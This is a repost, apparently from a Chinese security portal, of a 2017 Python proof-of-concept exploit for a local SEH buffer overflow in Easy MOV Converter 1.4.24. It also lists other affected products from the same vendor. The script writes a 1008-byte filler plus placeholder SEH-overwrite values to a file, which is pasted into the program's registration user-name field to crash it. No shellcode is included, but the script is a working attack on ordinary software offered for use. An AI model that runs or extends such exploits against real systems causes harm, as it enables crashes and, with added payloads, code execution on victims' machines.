Easy MOV Converter 1.4.24 - Local Buffer Overflow (SEH) Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Easy MOV Converter 1.4.24 - Local Buffer Overflow (SEH) Exploit

来源：vfocus.net 作者：Muhann4d 发布时间：2017-04-25

#!/usr/bin/python

# Exploit Title : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC

# Date : 12/03/2017

# Exploit Author : Muhann4d

# Vendor Homepage : http://www.divxtodvd.net/

# Software Link : http://www.divxtodvd.net/easy_mov_converter.exe

# Tested Version : 1.4.24

# Category : Denial of Service (DoS) Local

# Tested on OS : Windows 7 SP1 32bit

# Proof of Concept : run the exploit, copy the content of poc.txt

# go to the Register button and in the "Enter User Name" field paste the content of poc.txt and press OK.

# The vendor has been cantacted but no reply

# All the vendor's softwares below are affected to this bug which all can be found in http://www.divxtodvd.net/

# Easy DVD Creator

# Easy MPEG/AVI/DIVX/WMV/RM to DVD

# Easy Avi/Divx/Xvid to DVD Burner

# Easy MPEG to DVD Burner

# Easy WMV/ASF/ASX to DVD Burner

# Easy RM RMVB to DVD Burner

# Easy CD DVD Copy

# MP3/AVI/MPEG/WMV/RM to Audio CD Burner

# MP3/WAV/OGG/WMA/AC3 to CD Burner

# MP3 WAV to CD Burner

# My Video Converter

# Easy MOV Converter

# Easy AVI DivX Converter

# Easy Video to iPod Converter

# Easy Video to PSP Converter

# Easy Video to 3GP Converter

# Easy Video to MP4 Converter

# Easy Video to iPod/MP4/PSP/3GP Converter

buffer = "\x41" * 1008

nSEH = "\x42\x42\x42\x42"

SEH = "\x43\x43\x43\x43"

f = open ("poc.txt", "w")

f.write(buffer + nSEH + SEH)

f.close()

[

推荐] [

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1

推荐广告